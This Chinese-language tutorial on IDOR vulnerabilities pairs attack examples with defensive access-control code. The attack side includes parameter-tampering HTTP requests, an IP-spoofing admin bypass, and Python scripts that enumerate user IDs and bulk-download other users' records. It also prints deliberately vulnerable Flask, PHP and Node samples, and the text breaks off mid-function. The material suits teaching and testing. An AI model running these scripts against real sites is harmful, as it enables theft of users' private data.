012_Web安全攻防实战：IDOR不安全直接对象引用漏洞深度分析与防护策略

https://example.com/user/profile?id=123
https://example.com/orders/view?order_id=456
https://example.com/files/download?file_id=789

<form action="/update_profile" method="POST">
  <input type="hidden" name="user_id" value="123">
  <input type="text" name="email" value="user@example.com">
  <button type="submit">更新</button>
</form>

X-User-ID: 123
X-Resource-ID: 456

{
  "user_id": 123,
  "action": "update",
  "data": {
    "email": "newemail@example.com"
  }
}

import requests
import threading
import queue

# 目标URL模板
url_template = "https://example.com/user/profile?id={}"

# 线程数
thread_count = 10

# 结果队列
result_queue = queue.Queue()

def worker():
    while not id_queue.empty():
        try:
            user_id = id_queue.get(timeout=1)
            url = url_template.format(user_id)
            
            # 发送请求，使用当前会话的cookie
            cookies = {"session": "your_session_cookie"}
            response = requests.get(url, cookies=cookies)
            
            # 检查响应是否包含用户信息
            if "<div class=\"user-info\">" in response.text:
                result_queue.put((user_id, "Found user info"))
                print(f"Found user info for ID: {user_id}")
            
            id_queue.task_done()
        except Exception as e:
            print(f"Error processing ID {user_id}: {str(e)}")
            id_queue.task_done()

# 创建ID队列
id_queue = queue.Queue()
for i in range(1, 1000):  # 枚举ID 1-999
    id_queue.put(i)

# 创建并启动线程
threads = []
for _ in range(thread_count):
    thread = threading.Thread(target=worker)
    thread.start()
    threads.append(thread)

# 等待所有任务完成
id_queue.join()

# 汇总结果
print("\nEnumeration complete. Results:")
while not result_queue.empty():
    user_id, message = result_queue.get()
    print(f"ID: {user_id} - {message}")

POST /api/update_profile HTTP/1.1
Host: example.com

user_id=123&session_token=abc123&action=update&email=newemail@example.com

POST /api/update_profile HTTP/1.1
Host: example.com

user_id=124&session_token=abc123&action=update&email=attacker@example.com

{
  "user_id": 123,
  "action": "get_profile",
  "version": "1.0"
}

{
  "user_id": 124,
  "action": "get_profile",
  "version": "1.0"
}

GET /api/user/profile HTTP/1.1
Host: example.com
X-User-ID: 123
Authorization: Bearer abc123

GET /api/user/profile HTTP/1.1
Host: example.com
X-User-ID: 124
Authorization: Bearer abc123

import requests
import json
import time
from concurrent.futures import ThreadPoolExecutor

def fetch_resource(resource_id):
    """获取单个资源"""
    url = f"https://example.com/api/resource/{resource_id}"
    headers = {
        "Authorization": "Bearer your_token",
        "Content-Type": "application/json"
    }
    
    try:
        response = requests.get(url, headers=headers, timeout=5)
        
        # 检查响应是否成功
        if response.status_code == 200:
            data = response.json()
            # 保存数据到文件
            with open(f"resource_{resource_id}.json", "w") as f:
                json.dump(data, f, indent=2)
            return True, resource_id, data
        else:
            return False, resource_id, f"Failed with status code: {response.status_code}"
    except Exception as e:
        return False, resource_id, f"Error: {str(e)}"

def batch_collect(start_id, end_id, max_workers=10):
    """批量收集资源"""
    results = []
    successful = 0
    failed = 0
    
    print(f"开始收集资源 ID {start_id} 到 {end_id}...")
    start_time = time.time()
    
    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        # 提交所有任务
        future_to_id = {executor.submit(fetch_resource, i): i for i in range(start_id, end_id + 1)}
        
        # 处理结果
        for future in future_to_id:
            try:
                success, resource_id, result = future.result()
                if success:
                    successful += 1
                    print(f"成功获取资源 {resource_id}")
                else:
                    failed += 1
                    print(f"获取资源 {resource_id} 失败: {result}")
                results.append((resource_id, success, result))
            except Exception as e:
                failed += 1
                resource_id = future_to_id[future]
                print(f"处理资源 {resource_id} 时发生异常: {str(e)}")
    
    end_time = time.time()
    
    print(f"\n收集完成！")
    print(f"总资源数: {end_id - start_id + 1}")
    print(f"成功: {successful}")
    print(f"失败: {failed}")
    print(f"总耗时: {end_time - start_time:.2f} 秒")
    
    return results

# 使用示例
batch_collect(1, 1000, max_workers=20)

GET /admin-panel HTTP/1.1
Host: example.com
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1

GET /admin HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 AdminTool/1.0

GET /api/v1/user/123 HTTP/1.1
Host: example.com

# 可能有漏洞的旧版本
GET /api/v0/user/123 HTTP/1.1
Host: example.com

# 安装IDOR-Hunter
pip install idor-hunter

# 使用IDOR-Hunter扫描目标
idor-hunter --url https://example.com --cookie "session=abc123" --threads 10

# 不安全的代码示例（Python Flask）
@app.route('/api/user/<user_id>')
def get_user(user_id):
    # 危险：直接使用用户提供的ID查询，没有权限检查
    user = User.query.get(user_id)
    return jsonify(user.to_dict())

# 不安全的代码示例（PHP）
function getUser($user_id) {
    // 危险：直接使用用户提供的ID，没有权限检查
    $query = "SELECT * FROM users WHERE id = '$user_id'";
    $result = mysqli_query($connection, $query);
    return mysqli_fetch_assoc($result);
}

# 不安全的代码示例（Node.js）
app.get('/api/user/:id', (req, res) => {
    // 危险：直接使用用户提供的ID，没有权限检查
    const userId = req.params.id;
    db.query('SELECT * FROM users WHERE id = ?', [userId], (err, results) => {
        res.json(results[0]);
    });
});

// 不安全的前端代码示例
function getUserProfile(userId) {
    // 直接将用户ID拼接到URL中
    fetch(`/api/user/${userId}`)
        .then(response => response.json())
        .then(data => displayUserProfile(data));
}

// 另一个不安全的示例
function updateUserProfile() {
    const userId = document.getElementById('user_id').value; // 隐藏字段
    const formData = new FormData();
    formData.append('user_id', userId);
    formData.append('email', document.getElementById('email').value);
    
    fetch('/api/update_profile', {
        method: 'POST',
        body: formData
    });
}

import requests
import argparse
import json
import logging
from concurrent.futures import ThreadPoolExecutor
from datetime import datetime

# 配置日志
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

class IDORDetector:
    def __init__(self, base_url, cookies=None, headers=None, threads=5):
        self.base_url = base_url.rstrip('/')
        self.cookies = cookies or {}
        self.headers = headers or {}
        self.threads = threads
        self.vulnerable_endpoints = []
        self.session = requests.Session()
        
        # 设置会话cookie和头部
        if self.cookies:
            self.session.cookies.update(self.cookies)
        if self.headers:
            self.session.headers.update(self.headers)
    
    def test_endpoint(self, endpoint, param_name, start_id, end_id, increment=1):
        """测试单个端点的IDOR漏洞"""
        logger.info(f"开始测试端点: {endpoint} 参数: {param_name}")
        
        # 首先测试基准ID（通常是当前用户ID）
        baseline_url = f"{self.base_url}/{endpoint}"
        baseline_params = {param_name: start_id}
        
        try:
            baseline_response = self.session.get(baseline_url, params=baseline_params)
            baseline_status = baseline_response.status_code
            baseline_length = len(baseline_response.text)
            
            logger.info(f"基准测试 - ID: {start_id}, 状态码: {baseline_status}, 响应长度: {baseline_length}")
            
            # 测试其他ID
            for test_id in range(start_id + increment, end_id + 1, increment):
                test_params = {param_name: test_id}
                try:
                    response = self.session.get(baseline_url, params=test_params)
                    
                    # 分析响应
                    if response.status_code == baseline_status and len(response.text) > baseline_length * 0.8:
                        # 响应相似，可能存在IDOR漏洞
                        logger.warning(f"可能存在IDOR漏洞! 端点: {endpoint}, 参数: {param_name}, ID: {test_id}")
                        self.vulnerable_endpoints.append({
                            "endpoint": endpoint,
                            "param": param_name,
                            "test_id": test_id,
                            "baseline_id": start_id,
                            "baseline_status": baseline_status,
                            "test_status": response.status_code,
                            "baseline_length": baseline_length,
                            "test_length": len(response.text)
                        })
                    else:
                        logger.info(f"测试ID: {test_id}, 状态码: {response.status_code}, 响应长度: {len(response.text)} - 可能安全")
                        
                except Exception as e:
                    logger.error(f"测试ID {test_id} 时出错: {str(e)}")
                    
        except Exception as e:
            logger.error(f"基准测试失败: {str(e)}")
    
    def test_json_endpoint(self, endpoint, param_name, start_id, end_id, increment=1, method="GET"):
        """测试JSON API端点的IDOR漏洞"""
        logger.info(f"开始测试JSON端点: {endpoint} 参数: {param_name}")
        
        url = f"{self.base_url}/{endpoint}"
        
        # 首先测试基准ID
        baseline_data = {param_name: start_id}
        
        try:
            if method.upper() == "GET":
                baseline_response = self.session.get(url, params=baseline_data)
            else:
                baseline_response = self.session.post(url, json=baseline_data)
                
            baseline_status = baseline_response.status_code
            baseline_json = baseline_response.json()
            baseline_keys = set(baseline_json.keys())
            
            logger.info(f"基准测试 - ID: {start_id}, 状态码: {baseline_status}, JSON键数量: {len(baseline_keys)}")
            
            # 测试其他ID
            for test_id in range(start_id + increment, end_id + 1, increment):
                test_data = {param_name: test_id}
                try:
                    if method.upper() == "GET":
                        response = self.session.get(url, params=test_data)
                    else:
                        response = self.session.post(url, json=test_data)
                        
                    if response.status_code == baseline_status:
                        try:
                            test_json = response.json()
                            test_keys = set(test_json.keys())
                            
                            # 比较JSON结构
                            if len(test_keys.intersection(baseline_keys)) > len(baseline_keys) * 0.8:
                                logger.warning(f"可能存在IDOR漏洞! JSON端点: {endpoint}, 参数: {param_name}, ID: {test_id}")
                                self.vulnerable_endpoints.append({
                                    "endpoint": endpoint,
                                    "param": param_name,
                                    "test_id": test_id,
                                    "baseline_id": start_id,
                                    "baseline_status": baseline_status,
                                    "test_status": response.status_code,
                                    "json_similarity": len(test_keys.intersection(baseline_keys)) / len(baseline_keys)
                                })
                            else:
                                logger.info(f"测试ID: {test_id}, 状态码: {response.status_code} - JSON结构不同，可能安全")
                                
                        except json.JSONDecodeError:
                            logger.warning(f"测试ID: {test_id}, 状态码: {response.status_code} - 响应不是有效的JSON")
                    else:
                        logger.info(f"测试ID: {test_id}, 状态码: {response.status_code} - 可能安全")
                        
                except Exception as e:
                    logger.error(f"测试ID {test_id} 时出错: {str(e)}")
                    
        except Exception as e:
            logger.error(f"基准测试失败: {str(e)}")
    
    def run_batch_tests(self, test_configs):
        """批量运行多个测试配置"""
        logger.info(f"开始批量测试，共 {len(test_configs)} 个配置")
        
        with ThreadPoolExecutor(max_workers=self.threads) as executor:
            futures = []
            
            for config in test_configs:
                if config.get("type") == "json":
                    future = executor.submit(
                        self.test_json_endpoint,
                        config["endpoint"],
                        config["param"],
                        config["start_id"],
                        config["end_id"],
                        config.get("increment", 1),
                        config.get("method", "GET")
                    )
                else:
                    future = executor.submit(
                        self.test_endpoint,
                        config["endpoint"],
                        config["param"],
                        config["start_id"],
                        config["end_id"],
                        config.get("increment", 1)
                    )
                futures.append(future)
            
            # 等待所有任务完成
            for future in futures:
                try:
                    future.result()
                except Exception as e:
                    logger.error(f"测试任务失败: {str(e)}")
    
    def generate_report(self, output_file=None):
        """生成漏洞报告"""
        report = {
            "scan_time": datetime.now().isoformat(),
            "target": self.base_url,
            "total_vulnerabilities": len(self.vulnerable_endpoints),
            "vulnerabilities": self.vulnerable_endpoints
        }
        
        if output_file:
            with open(output_file, "w") as f:
                json.dump(report, f, indent=2)
            logger.info(f"报告已保存到: {output_file}")
        
        return report

def main():
    parser = argparse.ArgumentParser(description="IDOR漏洞自动检测器")
    parser.add_argument("--url", required=True, help="目标应用程序的基础URL")
    parser.add_argument("--cookie", help="会话cookie，格式: key1=value1;key2=value2")
    parser.add_argument("--threads", type=int, default=5, help="线程数量")
    parser.add_argument("--config", help="测试配置文件路径")
    parser.add_argument("--output", help="报告输出文件路径")
    
    args = parser.parse_args()
    
    # 解析cookie
    cookies = {}
    if args.cookie:
        for cookie_pair in args.cookie.split(";"):
            if "=" in cookie_pair:
                key, value = cookie_pair.strip().split("=", 1)
                cookies[key] = value
    
    # 初始化检测器
    detector = IDORDetector(args.url, cookies=cookies, threads=args.threads)
    
    # 如果提供了配置文件，则使用配置文件
    if args.config:
        with open(args.config, "r") as f:
            configs = json.load(f)
        detector.run_batch_tests(configs)
    else:
        # 示例测试 - 可以根据需要修改
        print("未提供配置文件，运行示例测试...")
        detector.test_endpoint("user/profile", "id", 1, 10)
        detector.test_json_endpoint("api/orders", "order_id", 1, 10, method="POST")
    
    # 生成报告
    detector.generate_report(args.output)

if __name__ == "__main__":
    main()

[
  {
    "type": "standard",
    "endpoint": "user/profile",
    "param": "id",
    "start_id": 1,
    "end_id": 100,
    "increment": 1
  },
  {
    "type": "json",
    "endpoint": "api/orders",
    "param": "order_id",
    "start_id": 1000,
    "end_id": 1100,
    "increment": 1,
    "method": "POST"
  },
  {
    "type": "standard",
    "endpoint": "files/download",
    "param": "file_id",
    "start_id": 10000,
    "end_id": 10100,
    "increment": 1
  }
]

from flask import Flask, request, jsonify, session, abort
from functools import wraps

app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key'  # 生产环境中应使用强随机密钥

# 权限检查装饰器
def requires_permission(resource_type, action):
    def decorator(f):
        @wraps(f)
        def decorated_function(*args, **kwargs):
            # 检查用户是否已登录
            if 'user_id' not in session:
                return jsonify({'error': '未授权访问'}), 401
            
            # 获取当前用户ID
            current_user_id = session['user_id']
            
            # 获取请求的资源ID（根据具体路由获取）
            # 这里假设资源ID是URL参数或JSON请求体中的id字段
            resource_id = kwargs.get('id') or request.json.get('id') or request.args.get('id')
            
            # 检查用户是否有权限访问该资源
            if not has_access_permission(current_user_id, resource_type, resource_id, action):
                return jsonify({'error': '权限不足'}), 403
            
            return f(*args, **kwargs)
        return decorated_function
    return decorator

# 检查权限的函数
def has_access_permission(user_id, resource_type, resource_id, action):
    # 这里应该实现实际的权限检查逻辑
    # 例如，查询数据库验证用户与资源的关系
    if resource_type == 'user_profile':
        # 用户只能访问自己的个人资料
        return str(user_id) == str(resource_id)
    elif resource_type == 'order':
        # 检查订单是否属于该用户
        # 实际实现中应查询数据库
        return check_order_ownership(user_id, resource_id)
    elif resource_type == 'admin':
        # 检查用户是否有管理员权限
        return is_admin(user_id)
    else:
        return False

# 用户资料路由，需要验证权限
@app.route('/api/user/<id>')
@requires_permission('user_profile', 'read')
def get_user(id):
    # 现在可以安全地查询用户信息，因为权限已经验证
    user = User.query.get(id)
    if not user:
        return jsonify({'error': '用户不存在'}), 404
    return jsonify(user.to_dict())

# 订单路由，需要验证权限
@app.route('/api/orders/<id>')
@requires_permission('order', 'read')
def get_order(id):
    # 安全地查询订单信息
    order = Order.query.get(id)
    if not order:
        return jsonify({'error': '订单不存在'}), 404
    return jsonify(order.to_dict())

const express = require('express');
const app = express();

// 角色定义
const ROLES = {
    USER: 'user',
    ADMIN: 'admin',
    SUPER_ADMIN: 'super_admin'
};

// 权限定义
const PERMISSIONS = {
    READ_USER_PROFILE: 'read_user_profile',
    WRITE_USER_PROFILE: 'write_user_profile',
    READ_ORDER: 'read_order',
    WRITE_ORDER: 'write_order',
    MANAGE_USERS: 'manage_users',
    MANAGE_SETTINGS: 'manage_settings'
};

// 角色-权限映射
const ROLE_PERMISSIONS = {
    [ROLES.USER]: [
        PERMISSIONS.READ_USER_PROFILE,
        PERMISSIONS.WRITE_USER_PROFILE,
        PERMISSIONS.READ_ORDER,
        PERMISSIONS.WRITE_ORDER
    ],
    [ROLES.ADMIN]: [
        PERMISSIONS.READ_USER_PROFILE,
        PERMISSIONS.WRITE_USER_PROFILE,
        PERMISSIONS.READ_ORDER,
        PERMISSIONS.WRITE_ORDER,
        PERMISSIONS.MANAGE_USERS
    ],
    [ROLES.SUPER_ADMIN]: Object.values(PERMISSIONS)
};

// 检查用户是否有特定权限
function hasPermission(user, permission) {
    if (!user || !user.role) {
        return false;
    }
    
    const userPermissions = ROLE_PERMISSIONS[user.role] || [];
    return userPermissions.includes(permission);
}

// 检查用户是否有角色
function hasRole(user, role) {
    return user && user.role === role;
}

// 权限检查中间件
function checkPermission(permission) {
    return (req, res, next) => {
        // 假设用户信息存储在req.user中
        const user = req.user;
        
        if (!user) {
            return res.status(401).json({ error: '未授权访问' });
        }
        
        if (!hasPermission(user, permission)) {
            return res.status(403).json({ error: '权限不足' });
        }
        
        next();
    };
}

// 资源所有权检查中间件
async function checkResourceOwnership(resourceType) {
    return async (req, res, next) => {
        const user = req.user;
        const resourceId = req.params.id || req.body.id || req.query.id;
        
        let isOwner = false;
        
        try {
            switch(resourceType) {
                case 'user':
                    isOwner = user.id === resourceId;
                    break;
                case 'order':
                    const order = await Order.findById(resourceId);
                    isOwner = order && order.userId === user.id;
                    break;
                // 其他资源类型...
                default:
                    isOwner = false;
            }
            
            if (!isOwner && !hasPermission(user, PERMISSIONS.MANAGE_USERS)) {
                // 只有资源所有者或具有管理权限的用户可以访问
                return res.status(403).json({ error: '权限不足' });
            }
            
            next();
        } catch (error) {
            console.error('资源所有权检查失败:', error);
            res.status(500).json({ error: '服务器错误' });
        }
    };
}

// 路由示例
app.get('/api/users/:id', 
    checkPermission(PERMISSIONS.READ_USER_PROFILE),
    checkResourceOwnership('user'),
    async (req, res) => {
        try {
            const user = await User.findById(req.params.id);
            if (!user) {
                return res.status(404).json({ error: '用户不存在' });
            }
            res.json(user);
        } catch (error) {
            res.status(500).json({ error: '服务器错误' });
        }
    }
);

app.get('/api/orders/:id',
    checkPermission(PERMISSIONS.READ_ORDER),
    checkResourceOwnership('order'),
    async (req, res) => {
        try {
            const order = await Order.findById(req.params.id);
            if (!order) {
                return res.status(404).json({ error: '订单不存在' });
            }
            res.json(order);
        } catch (error) {
            res.status(500).json({ error: '服务器错误' });
        }
    }
);

app.get('/api/admin/users',
    checkPermission(PERMISSIONS.MANAGE_USERS),
    async (req, res) => {
        try {
            const users = await User.find();
            res.json(users);
        } catch (error) {
            res.status(500).json({ error: '服务器错误' });
        }
    }
);

// ABAC策略评估函数
function evaluateAccess(subject, object, environment, action) {
    // 主体属性
    const subjectId = subject.id;
    const subjectRole = subject.role;
    const subjectDepartment = subject.department;
    const subjectClearance = subject.clearance;
    
    // 客体属性
    const objectId = object.id;
    const objectType = object.type;
    const objectOwner = object.owner;
    const objectSensitivity = object.sensitivity;
    const objectDepartment = object.department;
    
    // 环境属性
    const timeOfDay = environment.timeOfDay;
    const location = environment.location;
    const deviceType = environment.deviceType;
    const networkType = environment.networkType;
    
    // 策略1: 用户只能访问自己的资源
    if (objectOwner === subjectId) {
        return true;
    }
    
    // 策略2: 管理员可以访问所有资源
    if (subjectRole === 'admin') {
        return true;
    }
    
    // 策略3: 用户可以访问同部门的非敏感资源
    if (subjectDepartment === objectDepartment && objectSensitivity <= 2) {
        return true;
    }
    
    // 策略4: 高权限用户可以访问高敏感资源
    if (subjectClearance >= 3 && objectSensitivity <= subjectClearance) {
        return true;
    }
    
    // 策略5: 工作时间内可以远程访问
    if (timeOfDay >= 9 && timeOfDay <= 18 && networkType === 'remote') {
        return true;
    }
    
    // 默认拒绝
    return false;
}

// 使用示例
const isAllowed = evaluateAccess(
    { id: 'user123', role: 'user', department: 'engineering', clearance: 2 },  // 主体
    { id: 'doc456', type: 'document', owner: 'user456', sensitivity: 2, department: 'engineering' },  // 客体
    { timeOfDay: 14, location: 'office', deviceType: 'desktop', networkType: 'internal' },  // 环境
    'read'  // 操作
);

import org.springframework.stereotype.Service;
import java.security.SecureRandom;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;

@Service
public class ResourceReferenceService {
    private final Map<String, Long> referenceToIdMap = new ConcurrentHashMap<>();
    private final Map<Long, String> idToReferenceMap = new ConcurrentHashMap<>();
    private final SecureRandom secureRandom = new SecureRandom();
    private final Base64.Encoder encoder = Base64.getUrlEncoder().withoutPadding();
    
    // 生成新的资源引用
    public String generateReference(Long resourceId) {
        // 检查是否已有引用
        if (idToReferenceMap.containsKey(resourceId)) {
            return idToReferenceMap.get(resourceId);
        }
        
        // 生成随机引用
        byte[] randomBytes = new byte[16];
        secureRandom.nextBytes(randomBytes);
        String reference = encoder.encodeToString(randomBytes);
        
        // 确保引用唯一
        while (referenceToIdMap.containsKey(reference)) {
            secureRandom.nextBytes(randomBytes);
            reference = encoder.encodeToString(randomBytes);
        }
        
        // 存储映射关系
        referenceToIdMap.put(reference, resourceId);
        idToReferenceMap.put(resourceId, reference);
        
        return reference;
    }
    
    // 根据引用获取资源ID
    public Long getResourceId(String reference) {
        return referenceToIdMap.get(reference);
    }
    
    // 根据资源ID获取引用
    public String getReference(Long resourceId) {
        return idToReferenceMap.get(resourceId);
    }
    
    // 删除资源引用
    public void removeReference(Long resourceId) {
        String reference = idToReferenceMap.remove(resourceId);
        if (reference != null) {
            referenceToIdMap.remove(reference);
        }
    }
}

// 在控制器中使用
@RestController
@RequestMapping("/api/resources")
public class ResourceController {
    private final ResourceService resourceService;
    private final ResourceReferenceService referenceService;
    private final AccessControlService accessControlService;
    
    @Autowired
    public ResourceController(ResourceService resourceService, 
                            ResourceReferenceService referenceService,
                            AccessControlService accessControlService) {
        this.resourceService = resourceService;
        this.referenceService = referenceService;
        this.accessControlService = accessControlService;
    }
    
    @GetMapping("/{reference}")
    public ResponseEntity<ResourceDTO> getResource(@PathVariable String reference, Principal principal) {
        // 获取当前用户
        User currentUser = (User) ((Authentication) principal).getPrincipal();
        
        // 将引用转换为资源ID
        Long resourceId = referenceService.getResourceId(reference);
        if (resourceId == null) {
            return ResponseEntity.notFound().build();
        }
        
        // 检查访问权限
        if (!accessControlService.hasAccess(currentUser.getId(), resourceId, "read")) {
            return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
        }
        
        // 获取资源
        Resource resource = resourceService.getResource(resourceId);
        if (resource == null) {
            return ResponseEntity.notFound().build();
        }
        
        // 转换为DTO
        ResourceDTO resourceDTO = convertToDTO(resource);
        
        return ResponseEntity.ok(resourceDTO);
    }
    
    // 其他方法...
}

from django.conf import settings
from django.contrib.auth.decorators import login_required
from django.http import JsonResponse, Http404
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import base64
import os

# 加密工具函数
def encrypt_id(id_value):
    # 将ID转换为字节
    id_bytes = str(id_value).encode('utf-8')
    
    # 生成随机IV
    iv = os.urandom(16)
    
    # 创建填充器
    padder = padding.PKCS7(128).padder()
    padded_data = padder.update(id_bytes) + padder.finalize()
    
    # 创建加密器
    cipher = Cipher(
        algorithms.AES(settings.SECRET_KEY[:32].encode()),
        modes.CBC(iv),
        backend=default_backend()
    )
    encryptor = cipher.encryptor()
    
    # 加密数据
    encrypted_data = encryptor.update(padded_data) + encryptor.finalize()
    
    # 将IV和加密数据组合并进行Base64编码
    combined = iv + encrypted_data
    encoded = base64.urlsafe_b64encode(combined).decode('utf-8')
    
    return encoded

def decrypt_id(encrypted_value):
    try:
        # 解码Base64
        combined = base64.urlsafe_b64decode(encrypted_value.encode('utf-8'))
        
        # 提取IV和加密数据
        iv = combined[:16]
        encrypted_data = combined[16:]
        
        # 创建解密器
        cipher = Cipher(
            algorithms.AES(settings.SECRET_KEY[:32].encode()),
            modes.CBC(iv),
            backend=default_backend()
        )
        decryptor = cipher.decryptor()
        
        # 解密数据
        padded_data = decryptor.update(encrypted_data) + decryptor.finalize()
        
        # 移除填充
        unpadder = padding.PKCS7(128).unpadder()
        id_bytes = unpadder.update(padded_data) + unpadder.finalize()
        
        # 转换回整数ID
        return int(id_bytes.decode('utf-8'))
        
    except Exception as e:
        # 解密失败，可能是无效的加密值
        return None

# 在视图中使用
@login_required
def get_user_profile(request, encrypted_user_id):
    # 解密用户ID
    user_id = decrypt_id(encrypted_user_id)
    if user_id is None:
        raise Http404("用户不存在")
    
    # 检查权限：用户只能访问自己的资料
    if request.user.id != user_id:
        return JsonResponse({"error": "权限不足"}, status=403)
    
    # 获取用户资料
    try:
        user = User.objects.get(id=user_id)
        profile = user.profile
        
        # 返回用户资料
        return JsonResponse({
            "username": user.username,
            "email": user.email,
            "full_name": profile.full_name,
            "bio": profile.bio,
            # 其他字段...
        })
    
    except User.DoesNotExist:
        raise Http404("用户不存在")

# 在生成URL时使用
from django.urls import reverse

def get_user_profile_url(user_id):
    encrypted_id = encrypt_id(user_id)
    return reverse('user_profile', kwargs={'encrypted_user_id': encrypted_id})

const express = require('express');
const crypto = require('crypto');
const { Sequelize, DataTypes } = require('sequelize');

// 数据库连接
const sequelize = new Sequelize('database', 'username', 'password', {
    dialect: 'sqlite',
    storage: 'database.sqlite'
});

// 定义访问令牌模型
const AccessToken = sequelize.define('AccessToken', {
    token: {
        type: DataTypes.STRING(64),
        allowNull: false,
        unique: true
    },
    userId: {
        type: DataTypes.INTEGER,
        allowNull: false
    },
    resourceId: {
        type: DataTypes.INTEGER,
        allowNull: false
    },
    resourceType: {
        type: DataTypes.STRING,
        allowNull: false
    },
    action: {
        type: DataTypes.STRING,
        allowNull: false
    },
    used: {
        type: DataTypes.BOOLEAN,
        defaultValue: false
    },
    expiresAt: {
        type: DataTypes.DATE,
        allowNull: false
    }
});

// 生成访问令牌
async function generateAccessToken(userId, resourceId, resourceType, action, expiryMinutes = 60) {
    // 生成随机令牌
    const token = crypto.randomBytes(32).toString('hex');
    
    // 计算过期时间
    const expiresAt = new Date();
    expiresAt.setMinutes(expiresAt.getMinutes() + expiryMinutes);
    
    // 保存令牌到数据库
    const accessToken = await AccessToken.create({
        token,
        userId,
        resourceId,
        resourceType,
        action,
        expiresAt
    });
    
    return token;
}

// 验证访问令牌
async function validateAccessToken(token) {
    try {
        // 查找令牌
        const accessToken = await AccessToken.findOne({
            where: {
                token,
                used: false,
                expiresAt: { [Sequelize.Op.gt]: new Date() }
            }
        });
        
        if (!accessToken) {
            return null; // 令牌不存在、已使用或已过期
        }
        
        // 标记令牌为已使用
        await accessToken.update({ used: true });
        
        return {
            userId: accessToken.userId,
            resourceId: accessToken.resourceId,
            resourceType: accessToken.resourceType,
            action: accessToken.action
        };
    } catch (error) {
        console.error('验证访问令牌失败:', error);
        return null;
    }
}

// Express 中间件 - 验证一次性访问令牌
async function validateOneTimeToken(req, res, next) {
    const token = req.query.token || req.headers['x-access-token'];
    
    if (!token) {
        return res.status(401).json({ error: '缺少访问令牌' });
    }
    
    const tokenData = await validateAccessToken(token);
    
    if (!tokenData) {
        return res.status(401).json({ error: '无效或已过期的访问令牌' });
    }
    
    // 将令牌数据存储到请求对象中
    req.tokenData = tokenData;
    
    next();
}

// 路由示例
app.get('/api/download/:fileId', validateOneTimeToken, async (req, res) => {
    try {
        const { fileId } = req.params;
        const { userId, resourceId, resourceType, action } = req.tokenData;
        
        // 验证令牌中的资源ID与请求的资源ID匹配
        if (parseInt(fileId) !== resourceId || resourceType !== 'file' || action !== 'download') {
            return res.status(403).json({ error: '令牌与请求不匹配' });
        }
        
        // 执行文件下载逻辑
        const file = await File.findById(fileId);
        
        if (!file) {
            return res.status(404).json({ error: '文件不存在' });
        }
        
        // 这里可以添加更多的安全检查，例如验证文件所有者
        if (file.ownerId !== userId && !await isAdmin(userId)) {
            return res.status(403).json({ error: '权限不足' });
        }
        
        // 发送文件给客户端
        res.download(file.path, file.name);
        
    } catch (error) {
        console.error('文件下载失败:', error);
        res.status(500).json({ error: '服务器错误' });
    }
});

// 生成一次性下载链接的路由
app.post('/api/generate-download-link', authenticateUser, async (req, res) => {
    try {
        const { fileId } = req.body;
        const { userId } = req.user;
        
        // 验证用户是否有权限下载该文件
        const file = await File.findById(fileId);
        if (!file) {
            return res.status(404).json({ error: '文件不存在' });
        }
        
        if (file.ownerId !== userId && !await isAdmin(userId)) {
            return res.status(403).json({ error: '权限不足' });
        }
        
        // 生成一次性访问令牌，有效期5分钟
        const token = await generateAccessToken(userId, fileId, 'file', 'download', 5);
        
        // 生成下载链接
        const downloadLink = `${req.protocol}://${req.get('host')}/api/download/${fileId}?token=${token}`;
        
        res.json({ downloadLink, expiresIn: 300 }); // 5分钟后过期
        
    } catch (error) {
        console.error('生成下载链接失败:', error);
        res.status(500).json({ error: '服务器错误' });
    }
});

// 不安全的做法：直接在URL中暴露用户ID
function viewUserProfile(userId) {
    window.location.href = `/user/profile?id=${userId}`;
}

// 不安全的做法：在本地存储敏感ID
localStorage.setItem('user_id', currentUser.id);
localStorage.setItem('admin_panel_url', `/admin/dashboard?user=${currentUser.id}`);

// 不安全的做法：依赖客户端验证
function canAccessResource(resourceId) {
    // 仅在客户端检查权限，容易被绕过
    if (user.role === 'admin') {
        return true;
    }
    return resourceId === user.id;
}

if (canAccessResource(resourceId)) {
    // 访问资源
    fetch(`/api/resource/${resourceId}`);
}

// 安全的做法：使用相对路径，让后端处理权限
function viewMyProfile() {
    window.location.href = '/user/profile'; // 让后端根据会话确定用户
}

// 安全的做法：不存储敏感信息
// 避免在localStorage中存储敏感ID或URL

// 安全的做法：始终通过后端验证
function fetchResource() {
    // 只请求当前用户有权访问的资源
    fetch('/api/my-resource')
        .then(response => {
            if (!response.ok) {
                throw new Error('访问被拒绝');
            }
            return response.json();
        })
        .then(data => console.log(data))
        .catch(error => console.error('错误:', error));
}

// 安全的做法：使用POST请求处理敏感操作
function deleteItem(itemId) {
    fetch('/api/items/delete', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
            'X-CSRF-Token': getCSRFToken()
        },
        body: JSON.stringify({ item_id: itemId })
    })
    .then(response => {
        if (!response.ok) {
            throw new Error('删除失败');
        }
        // 处理成功
    })
    .catch(error => console.error('错误:', error));
}

// 安全的GET请求示例
async function getUserProfile() {
    try {
        const response = await fetch('/api/user/profile', {
            method: 'GET',
            headers: {
                'Authorization': `Bearer ${getAuthToken()}`,
                'Content-Type': 'application/json'
            },
            credentials: 'include' // 包含cookies
        });
        
        if (!response.ok) {
            throw new Error(`HTTP错误! 状态码: ${response.status}`);
        }
        
        const data = await response.json();
        return data;
    } catch (error) {
        console.error('获取用户资料失败:', error);
        // 处理错误，例如重定向到登录页面
        if (error.message.includes('401')) {
            redirectToLogin();
        }
        throw error;
    }
}

// 安全的POST请求示例
async function updateUserProfile(profileData) {
    try {
        const response = await fetch('/api/user/profile/update', {
            method: 'POST',
            headers: {
                'Authorization': `Bearer ${getAuthToken()}`,
                'Content-Type': 'application/json',
                'X-CSRF-Token': getCSRFToken()
            },
            credentials: 'include',
            body: JSON.stringify(profileData)
        });
        
        if (!response.ok) {
            throw new Error(`HTTP错误! 状态码: ${response.status}`);
        }
        
